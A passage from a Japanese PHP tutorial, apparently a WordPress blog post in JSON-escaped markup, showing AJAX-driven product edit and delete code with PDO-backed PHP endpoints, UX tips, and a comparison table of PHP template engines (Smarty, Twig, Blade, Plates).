? 'selected' : ''; ?&gt;&gt;\u6709\u52b9&lt;\/option&gt;\n                &lt;option value=\"inactive\" &lt;?php echo $product['status'] === 'inactive' ? 'selected' : ''; ?&gt;&gt;\u7121\u52b9&lt;\/option&gt;\n            &lt;\/select&gt;\n        &lt;\/div&gt;\n        \n        &lt;div class=\"form-actions\"&gt;\n            &lt;button type=\"submit\" class=\"btn btn-primary\"&gt;\u66f4\u65b0\u3059\u308b&lt;\/button&gt;\n            &lt;a href=\"products.php\" class=\"btn btn-secondary\"&gt;\u30ad\u30e3\u30f3\u30bb\u30eb&lt;\/a&gt;\n        &lt;\/div&gt;\n    &lt;\/form&gt;\n&lt;?php\n} catch (PDOException $e) {\n    echo \"\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage();\n}\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-29\">JavaScript\u3068PHP\u306e\u9023\u643a\u30dd\u30a4\u30f3\u30c8<\/h4>\n\n\n\n<p>JavaScript\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u3088\u308a\u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u306a\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3092\u5b9f\u73fe\u3067\u304d\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001Ajax\u3092\u4f7f\u3063\u3066\u975e\u540c\u671f\u3067\u30c7\u30fc\u30bf\u3092\u66f4\u65b0\u3059\u308b\u65b9\u6cd5\u3092\u898b\u3066\u307f\u307e\u3057\u3087\u3046\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!-- \u7de8\u96c6\u30dc\u30bf\u30f3\u3092\u6301\u3064\u5546\u54c1\u30ea\u30b9\u30c8 --&gt;\n&lt;div class=\"product-list\"&gt;\n    &lt;?php foreach ($products as $product): ?&gt;\n    &lt;div class=\"product-item\" data-id=\"&lt;?php echo htmlspecialchars($product['id']); ?&gt;\"&gt;\n        &lt;div class=\"product-info\"&gt;\n            &lt;h3&gt;&lt;?php echo htmlspecialchars($product['name']); ?&gt;&lt;\/h3&gt;\n            &lt;p class=\"price\"&gt;\u00a5&lt;?php echo number_format($product['price']); ?&gt;&lt;\/p&gt;\n        &lt;\/div&gt;\n        &lt;div class=\"product-actions\"&gt;\n            &lt;button class=\"edit-btn\" data-id=\"&lt;?php echo htmlspecialchars($product['id']); ?&gt;\"&gt;\u7de8\u96c6&lt;\/button&gt;\n            &lt;button class=\"delete-btn\" data-id=\"&lt;?php echo htmlspecialchars($product['id']); ?&gt;\"&gt;\u524a\u9664&lt;\/button&gt;\n        &lt;\/div&gt;\n    &lt;\/div&gt;\n    &lt;?php endforeach; ?&gt;\n&lt;\/div&gt;\n\n&lt;!-- \u7de8\u96c6\u30e2\u30fc\u30c0\u30eb --&gt;\n&lt;div id=\"edit-modal\" class=\"modal\"&gt;\n    &lt;div class=\"modal-content\"&gt;\n        &lt;span class=\"close\"&gt;&amp;times;&lt;\/span&gt;\n        &lt;h2&gt;\u5546\u54c1\u306e\u7de8\u96c6&lt;\/h2&gt;\n        &lt;form id=\"edit-form\"&gt;\n            &lt;input type=\"hidden\" id=\"edit-id\" name=\"id\"&gt;\n            &lt;div class=\"form-group\"&gt;\n                &lt;label for=\"edit-name\"&gt;\u5546\u54c1\u540d:&lt;\/label&gt;\n                &lt;input type=\"text\" id=\"edit-name\" name=\"name\" required&gt;\n            &lt;\/div&gt;\n            &lt;div class=\"form-group\"&gt;\n                &lt;label for=\"edit-price\"&gt;\u4fa1\u683c:&lt;\/label&gt;\n                &lt;input type=\"number\" id=\"edit-price\" name=\"price\" min=\"0\" required&gt;\n            &lt;\/div&gt;\n            &lt;button type=\"submit\" class=\"btn btn-primary\"&gt;\u66f4\u65b0&lt;\/button&gt;\n        &lt;\/form&gt;\n    &lt;\/div&gt;\n&lt;\/div&gt;\n\n&lt;!-- JavaScript --&gt;\n&lt;script&gt;\ndocument.addEventListener('DOMContentLoaded', function() {\n    \/\/ \u30e2\u30fc\u30c0\u30eb\u8981\u7d20\n    const modal = document.getElementById('edit-modal');\n    const closeBtn = modal.querySelector('.close');\n    const editForm = document.getElementById('edit-form');\n    \n    \/\/ \u7de8\u96c6\u30dc\u30bf\u30f3\u306e\u30a4\u30d9\u30f3\u30c8\u30ea\u30b9\u30ca\u30fc\n    document.querySelectorAll('.edit-btn').forEach(button =&gt; {\n        button.addEventListener('click', function() {\n            const productId = this.getAttribute('data-id');\n            \n            \/\/ \u5546\u54c1\u30c7\u30fc\u30bf\u306e\u53d6\u5f97\uff08Ajax\u30ea\u30af\u30a8\u30b9\u30c8\uff09\n            fetch(`get_product.php?id=${productId}`)\n                .then(response =&gt; response.json())\n                .then(product =&gt; {\n                    \/\/ \u30d5\u30a9\u30fc\u30e0\u306b\u5024\u3092\u30bb\u30c3\u30c8\n                    document.getElementById('edit-id').value = product.id;\n                    document.getElementById('edit-name').value = product.name;\n                    document.getElementById('edit-price').value = product.price;\n                    \n                    \/\/ \u30e2\u30fc\u30c0\u30eb\u3092\u8868\u793a\n                    modal.style.display = 'block';\n                })\n                .catch(error =&gt; console.error('Error:', error));\n        });\n    });\n    \n    \/\/ \u30e2\u30fc\u30c0\u30eb\u3092\u9589\u3058\u308b\n    closeBtn.addEventListener('click', function() {\n        modal.style.display = 'none';\n    });\n    \n    \/\/ \u30d5\u30a9\u30fc\u30e0\u9001\u4fe1\u6642\u306e\u51e6\u7406\n    editForm.addEventListener('submit', function(e) {\n        e.preventDefault();\n        \n        const formData = new FormData(this);\n        \n        \/\/ \u30c7\u30fc\u30bf\u306e\u66f4\u65b0\uff08Ajax\u30ea\u30af\u30a8\u30b9\u30c8\uff09\n        fetch('update_product.php', {\n            method: 'POST',\n            body: formData\n        })\n        .then(response =&gt; response.json())\n                    .then(result =&gt; {\n                if (result.success) {\n                    \/\/ \u6210\u529f\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u8868\u793a\n                    alert('\u5546\u54c1\u304c\u66f4\u65b0\u3055\u308c\u307e\u3057\u305f');\n                    \n                    \/\/ \u753b\u9762\u306e\u66f4\u65b0\uff08\u4f8b\uff1a\u8a72\u5f53\u5546\u54c1\u306e\u8868\u793a\u3092\u66f4\u65b0\uff09\n                    const productItem = document.querySelector(`.product-item[data-id=\"${formData.get('id')}\"]`);\n                    if (productItem) {\n                        productItem.querySelector('h3').textContent = formData.get('name');\n                        productItem.querySelector('.price').textContent = `\u00a5${Number(formData.get('price')).toLocaleString()}`;\n                    }\n                    \n                    \/\/ \u30e2\u30fc\u30c0\u30eb\u3092\u9589\u3058\u308b\n                    modal.style.display = 'none';\n                } else {\n                    \/\/ \u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u8868\u793a\n                    alert('\u30a8\u30e9\u30fc: ' + result.message);\n                }\n            })\n            .catch(error =&gt; {\n                console.error('Error:', error);\n                alert('\u66f4\u65b0\u4e2d\u306b\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f');\n            });\n    });\n    \n    \/\/ \u524a\u9664\u30dc\u30bf\u30f3\u306e\u30a4\u30d9\u30f3\u30c8\u30ea\u30b9\u30ca\u30fc\n    document.querySelectorAll('.delete-btn').forEach(button =&gt; {\n        button.addEventListener('click', function() {\n            const productId = this.getAttribute('data-id');\n            const productName = this.closest('.product-item').querySelector('h3').textContent;\n            \n            if (confirm(`\u300c${productName}\u300d\u3092\u524a\u9664\u3057\u3066\u3082\u3088\u308d\u3057\u3044\u3067\u3059\u304b\uff1f`)) {\n                \/\/ \u524a\u9664\u51e6\u7406\uff08Ajax\u30ea\u30af\u30a8\u30b9\u30c8\uff09\n                fetch('delete_product.php', {\n                    method: 'POST',\n                    headers: {\n                        'Content-Type': 'application\/x-www-form-urlencoded',\n                    },\n                    body: `id=${productId}`\n                })\n                .then(response =&gt; response.json())\n                .then(result =&gt; {\n                    if (result.success) {\n                        \/\/ \u6210\u529f\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u8868\u793a\n                        alert('\u5546\u54c1\u304c\u524a\u9664\u3055\u308c\u307e\u3057\u305f');\n                        \n                        \/\/ \u8a72\u5f53\u5546\u54c1\u3092\u753b\u9762\u304b\u3089\u524a\u9664\n                        const productItem = document.querySelector(`.product-item[data-id=\"${productId}\"]`);\n                        if (productItem) {\n                            productItem.remove();\n                        }\n                    } else {\n                        \/\/ \u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u8868\u793a\n                        alert('\u30a8\u30e9\u30fc: ' + result.message);\n                    }\n                })\n                .catch(error =&gt; {\n                    console.error('Error:', error);\n                    alert('\u524a\u9664\u4e2d\u306b\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f');\n                });\n            }\n        });\n    });\n});\n&lt;\/script&gt;\n<\/pre>\n\n\n\n<p>\u3053\u306eJavaScript\u30b3\u30fc\u30c9\u306b\u5bfe\u5fdc\u3059\u308bPHP\u30d5\u30a1\u30a4\u30eb\u3082\u4f5c\u6210\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>get_product.php<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nheader('Content-Type: application\/json');\n\n\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\nrequire 'database.php';\n\n$id = isset($_GET['id']) ? (int)$_GET['id'] : 0;\n\ntry {\n    $stmt = $pdo-&gt;prepare(\"SELECT id, name, price FROM products WHERE id = :id\");\n    $stmt-&gt;execute(['id' =&gt; $id]);\n    $product = $stmt-&gt;fetch();\n    \n    if ($product) {\n        echo json_encode($product);\n    } else {\n        echo json_encode(['error' =&gt; 'Product not found']);\n    }\n} catch (PDOException $e) {\n    echo json_encode(['error' =&gt; $e-&gt;getMessage()]);\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>update_product.php<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nheader('Content-Type: application\/json');\n\n\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\nrequire 'database.php';\n\n\/\/ POST\u30c7\u30fc\u30bf\u306e\u53d6\u5f97\u3068\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\n$id = isset($_POST['id']) ? (int)$_POST['id'] : 0;\n$name = isset($_POST['name']) ? trim($_POST['name']) : '';\n$price = isset($_POST['price']) ? (float)$_POST['price'] : 0;\n\n\/\/ \u7c21\u6613\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\nif ($id &lt;= 0 || empty($name) || $price &lt; 0) {\n    echo json_encode([\n        'success' =&gt; false,\n        'message' =&gt; '\u5165\u529b\u5024\u304c\u7121\u52b9\u3067\u3059\u3002'\n    ]);\n    exit;\n}\n\ntry {\n    $stmt = $pdo-&gt;prepare(\"UPDATE products SET name = :name, price = :price WHERE id = :id\");\n    $result = $stmt-&gt;execute([\n        'id' =&gt; $id,\n        'name' =&gt; $name,\n        'price' =&gt; $price\n    ]);\n    \n    if ($result) {\n        echo json_encode([\n            'success' =&gt; true,\n            'message' =&gt; '\u5546\u54c1\u304c\u66f4\u65b0\u3055\u308c\u307e\u3057\u305f\u3002'\n        ]);\n    } else {\n        echo json_encode([\n            'success' =&gt; false,\n            'message' =&gt; '\u66f4\u65b0\u306b\u5931\u6557\u3057\u307e\u3057\u305f\u3002'\n        ]);\n    }\n} catch (PDOException $e) {\n    echo json_encode([\n        'success' =&gt; false,\n        'message' =&gt; $e-&gt;getMessage()\n    ]);\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>delete_product.php<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nheader('Content-Type: application\/json');\n\n\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\nrequire 'database.php';\n\n$id = isset($_POST['id']) ? (int)$_POST['id'] : 0;\n\nif ($id &lt;= 0) {\n    echo json_encode([\n        'success' =&gt; false,\n        'message' =&gt; '\u7121\u52b9\u306aID\u3067\u3059\u3002'\n    ]);\n    exit;\n}\n\ntry {\n    $stmt = $pdo-&gt;prepare(\"DELETE FROM products WHERE id = :id\");\n    $result = $stmt-&gt;execute(['id' =&gt; $id]);\n    \n    if ($result) {\n        echo json_encode([\n            'success' =&gt; true,\n            'message' =&gt; '\u5546\u54c1\u304c\u524a\u9664\u3055\u308c\u307e\u3057\u305f\u3002'\n        ]);\n    } else {\n        echo json_encode([\n            'success' =&gt; false,\n            'message' =&gt; '\u524a\u9664\u306b\u5931\u6557\u3057\u307e\u3057\u305f\u3002'\n        ]);\n    }\n} catch (PDOException $e) {\n    echo json_encode([\n        'success' =&gt; false,\n        'message' =&gt; $e-&gt;getMessage()\n    ]);\n}\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-30\">UX\u3092\u5411\u4e0a\u3055\u305b\u308b\u305f\u3081\u306e\u30c6\u30af\u30cb\u30c3\u30af<\/h4>\n\n\n\n<p>\u30c7\u30fc\u30bf\u7de8\u96c6\u30fb\u524a\u9664\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306eUX\u3092\u5411\u4e0a\u3055\u305b\u308b\u305f\u3081\u306e\u30c6\u30af\u30cb\u30c3\u30af\u3092\u3044\u304f\u3064\u304b\u7d39\u4ecb\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30a4\u30f3\u30e9\u30a4\u30f3\u7de8\u96c6<\/strong>: \u30c6\u30fc\u30d6\u30eb\u306e\u30bb\u30eb\u3092\u30af\u30ea\u30c3\u30af\u3057\u3066\u76f4\u63a5\u7de8\u96c6\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b\u3068\u3001\u30e6\u30fc\u30b6\u30fc\u4f53\u9a13\u304c\u5411\u4e0a\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30ea\u30a2\u30eb\u30bf\u30a4\u30e0\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3<\/strong>: \u30e6\u30fc\u30b6\u30fc\u304c\u5165\u529b\u4e2d\u306b\u30ea\u30a2\u30eb\u30bf\u30a4\u30e0\u3067\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30ea\u30a2\u30eb\u30bf\u30a4\u30e0\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u306e\u4f8b\ndocument.getElementById('edit-name').addEventListener('input', function() {\n    const nameField = this;\n    const errorSpan = nameField.nextElementSibling || document.createElement('span');\n    \n    if (!errorSpan.classList.contains('error')) {\n        errorSpan.className = 'error';\n        nameField.parentNode.appendChild(errorSpan);\n    }\n    \n    if (nameField.value.length &lt; 3) {\n        errorSpan.textContent = '\u5546\u54c1\u540d\u306f3\u6587\u5b57\u4ee5\u4e0a\u5fc5\u8981\u3067\u3059';\n        nameField.setCustomValidity('\u5546\u54c1\u540d\u306f3\u6587\u5b57\u4ee5\u4e0a\u5fc5\u8981\u3067\u3059');\n    } else if (nameField.value.length &gt; 100) {\n        errorSpan.textContent = '\u5546\u54c1\u540d\u306f100\u6587\u5b57\u4ee5\u5185\u306b\u3057\u3066\u304f\u3060\u3055\u3044';\n        nameField.setCustomValidity('\u5546\u54c1\u540d\u306f100\u6587\u5b57\u4ee5\u5185\u306b\u3057\u3066\u304f\u3060\u3055\u3044');\n    } else {\n        errorSpan.textContent = '';\n        nameField.setCustomValidity('');\n    }\n});\n<\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>\u78ba\u8a8d\u30e1\u30c3\u30bb\u30fc\u30b8\u3068\u6210\u529f\/\u30a8\u30e9\u30fc\u901a\u77e5<\/strong>: \u64cd\u4f5c\u306e\u524d\u5f8c\u306b\u9069\u5207\u306a\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30a2\u30cb\u30e1\u30fc\u30b7\u30e7\u30f3\u3068\u30c8\u30e9\u30f3\u30b8\u30b7\u30e7\u30f3<\/strong>: \u5909\u66f4\u304c\u884c\u308f\u308c\u308b\u969b\u306b\u8996\u899a\u7684\u306a\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/* CSS\u30c8\u30e9\u30f3\u30b8\u30b7\u30e7\u30f3\u306e\u4f8b *\/\n.product-item {\n    transition: background-color 0.3s ease;\n}\n\n.product-item.updated {\n    background-color: #f0f9ff;\n    animation: highlight 2s ease;\n}\n\n@keyframes highlight {\n    0% { background-color: #ffff99; }\n    100% { background-color: #f0f9ff; }\n}\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u66f4\u65b0\u5f8c\u306e\u30cf\u30a4\u30e9\u30a4\u30c8\u52b9\u679c\nfunction highlightUpdatedItem(itemId) {\n    const item = document.querySelector(`.product-item[data-id=\"${itemId}\"]`);\n    if (item) {\n        item.classList.add('updated');\n        setTimeout(() =&gt; {\n            item.classList.remove('updated');\n        }, 2000);\n    }\n}\n<\/pre>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>\u4e00\u62ec\u64cd\u4f5c\u6a5f\u80fd<\/strong>: \u8907\u6570\u306e\u30a2\u30a4\u30c6\u30e0\u3092\u540c\u6642\u306b\u9078\u629e\u3057\u3066\u64cd\u4f5c\u3067\u304d\u308b\u6a5f\u80fd\u306f\u3001\u5927\u91cf\u306e\u30c7\u30fc\u30bf\u3092\u6271\u3046\u30e6\u30fc\u30b6\u30fc\u306b\u4fbf\u5229\u3067\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<p>PHP\u3068JavaScript\u3092\u9023\u643a\u3055\u305b\u308b\u3053\u3068\u3067\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u3068\u306e\u3084\u308a\u53d6\u308a\u3092\u30b9\u30e0\u30fc\u30ba\u306b\u884c\u3044\u306a\u304c\u3089\u3001\u30e6\u30fc\u30b6\u30fc\u306b\u512a\u308c\u305f\u4f53\u9a13\u3092\u63d0\u4f9b\u3067\u304d\u307e\u3059\u3002\u6b21\u306e\u7ae0\u3067\u306f\u3001\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3092\u6d3b\u7528\u3057\u3066\u3001\u3088\u308a\u52b9\u7387\u7684\u306aPHP\u3068HTML\u306e\u9023\u643a\u65b9\u6cd5\u3092\u898b\u3066\u3044\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-31\">\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6d3b\u7528<\/h2>\n\n\n\n<p>\u3053\u308c\u307e\u3067\u898b\u3066\u304d\u305f\u3088\u3046\u306b\u3001PHP\u3067HTML\u3092\u51fa\u529b\u3059\u308b\u65b9\u6cd5\u306f\u3044\u304f\u3064\u304b\u3042\u308a\u307e\u3059\u304c\u3001\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u304c\u5927\u304d\u304f\u306a\u308b\u306b\u3064\u308c\u3066\u3001PHP\u3068HTML\u304c\u6df7\u5728\u3057\u305f\u30b3\u30fc\u30c9\u306f\u4fdd\u5b88\u304c\u56f0\u96e3\u306b\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u554f\u984c\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306b\u3001\u591a\u304f\u306e\u958b\u767a\u8005\u306f\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3092\u6d3b\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306f\u3001\u30d3\u30b8\u30cd\u30b9\u30ed\u30b8\u30c3\u30af\u3068\u30d7\u30ec\u30bc\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\u30ed\u30b8\u30c3\u30af\u3092\u660e\u78ba\u306b\u5206\u96e2\u3057\u3001\u3088\u308a\u4fdd\u5b88\u6027\u306e\u9ad8\u3044\u30b3\u30fc\u30c9\u3092\u5b9f\u73fe\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-32\">PHP\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6982\u8981\u3068\u5229\u70b9<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-33\">\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3068\u306f<\/h4>\n\n\n\n<p>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3068\u306f\u3001\u30d7\u30ed\u30b0\u30e9\u30e0\u30ed\u30b8\u30c3\u30af\u3068\u30d7\u30ec\u30bc\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\uff08\u898b\u305f\u76ee\uff09\u3092\u5206\u96e2\u3059\u308b\u305f\u3081\u306e\u30c4\u30fc\u30eb\u3067\u3059\u3002\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u30c7\u30fc\u30bf\u306e\u51e6\u7406\uff08PHP\u30b3\u30fc\u30c9\uff09\u3068\u305d\u306e\u8868\u793a\u65b9\u6cd5\uff08HTML\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\uff09\u3092\u5225\u3005\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u8a18\u8ff0\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30b3\u30fc\u30c9\u306e\u53ef\u8aad\u6027\u3001\u4fdd\u5b88\u6027\u3001\u518d\u5229\u7528\u6027\u304c\u5411\u4e0a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306f\u901a\u5e38\u3001\u4ee5\u4e0b\u306e\u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5909\u6570\u306e\u51fa\u529b<\/strong>: \u30c7\u30fc\u30bf\u3092\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306b\u6e21\u3057\u3066\u8868\u793a<\/li>\n\n\n\n<li><strong>\u6761\u4ef6\u5206\u5c90\u3068\u30eb\u30fc\u30d7<\/strong>: \u30c7\u30fc\u30bf\u306b\u57fa\u3065\u3044\u3066\u8868\u793a\u5185\u5bb9\u3092\u5909\u66f4<\/li>\n\n\n\n<li><strong>\u30ec\u30a4\u30a2\u30a6\u30c8\u7d99\u627f<\/strong>: \u5171\u901a\u306e\u30ec\u30a4\u30a2\u30a6\u30c8\u3092\u8907\u6570\u306e\u30da\u30fc\u30b8\u3067\u518d\u5229\u7528<\/li>\n\n\n\n<li><strong>\u90e8\u5206\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8<\/strong>: \u518d\u5229\u7528\u53ef\u80fd\u306a\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306e\u4f5c\u6210<\/li>\n\n\n\n<li><strong>\u81ea\u52d5\u30a8\u30b9\u30b1\u30fc\u30d7<\/strong>: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3068\u3057\u3066\u306eHTML\u30a8\u30b9\u30b1\u30fc\u30d7<\/li>\n\n\n\n<li><strong>\u62e1\u5f35\u6a5f\u80fd<\/strong>: \u30d5\u30a3\u30eb\u30bf\u30fc\u3001\u95a2\u6570\u3001\u30de\u30af\u30ed\u306a\u3069<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-34\">\u4e3b\u8981\u306aPHP\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u6bd4\u8f03<\/h4>\n\n\n\n<p>PHP\u958b\u767a\u3067\u4e00\u822c\u7684\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3092\u3044\u304f\u3064\u304b\u6bd4\u8f03\u3057\u3066\u307f\u307e\u3057\u3087\u3046\uff1a<\/p>\n\n\n<div id=\"id-473b7e37-fe4c-453a-92d2-f8327bf6fa43\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3<\/th><th>\u7279\u5fb4<\/th><th>\u9577\u6240<\/th><th>\u77ed\u6240<\/th><\/tr><\/thead><tbody><tr><td><strong>Smarty<\/strong><\/td><td>\u53e4\u304f\u304b\u3089\u3042\u308b\u6210\u719f\u3057\u305f\u30a8\u30f3\u30b8\u30f3\u3001\u72ec\u81ea\u306e\u69cb\u6587\u3001\u5f37\u529b\u306a\u30ad\u30e3\u30c3\u30b7\u30e5\u6a5f\u80fd<\/td><td>\u5b89\u5b9a\u6027\u304c\u9ad8\u3044\u3001\u8c4a\u5bcc\u306a\u30d7\u30e9\u30b0\u30a4\u30f3\u3001\u52b9\u7387\u7684\u306a\u30ad\u30e3\u30c3\u30b7\u30f3\u30b0<\/td><td>\u73fe\u4ee3\u306e\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3068\u306e\u7d71\u5408\u304c\u5c11\u306a\u3044\u3001\u7279\u6b8a\u306a\u69cb\u6587<\/td><\/tr><tr><td><strong>Twig<\/strong><\/td><td>Symfony\u304c\u958b\u767a\u3001Python Jinja2\u306b\u30a4\u30f3\u30b9\u30d1\u30a4\u30a2\u3001\u30e2\u30c0\u30f3\u306a\u6a5f\u80fd<\/td><td>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5f37\u5316\u3001\u62e1\u5f35\u6027\u3001\u8aad\u307f\u3084\u3059\u3044\u69cb\u6587<\/td><td>\u5b66\u7fd2\u66f2\u7dda\u3042\u308a\u3001\u7d14\u7c8b\u306aPHP\u3088\u308a\u82e5\u5e72\u9045\u3044<\/td><\/tr><tr><td><strong>Blade<\/strong><\/td><td>Laravel\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3001PHP\u4e92\u63db\u6027\u9ad8\u3044<\/td><td>Laravel\u7d71\u5408\u3001\u30b7\u30f3\u30d7\u30eb\u306a\u69cb\u6587\u3001\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u6a5f\u80fd<\/td><td>Laravel\u5916\u3067\u306e\u4f7f\u7528\u306f\u9650\u5b9a\u7684<\/td><\/tr><tr><td><strong>Plates<\/strong><\/td><td>\u30cd\u30a4\u30c6\u30a3\u30d6PHP\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3001\u4f9d\u5b58\u95a2\u4fc2\u5c11\u306a\u3044<\/td><td>\u5b66\u7fd2\u30b3\u30b9\u30c8\u4f4e\u3044\u3001\u4f9d\u5b58\u304c\u5c11\u306a\u3044\u3001\u9ad8\u901f<\/td><td>\u9ad8\u5ea6\u306a\u6a5f\u80fd\u306f\u5c11\u306a\u3044\u3001\u5c0f\u3055\u306a\u30b3\u30df\u30e5\u30cb\u30c6\u30a3<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p>\u305d\u308c\u305e\u308c\u306e\u30c6\u30f3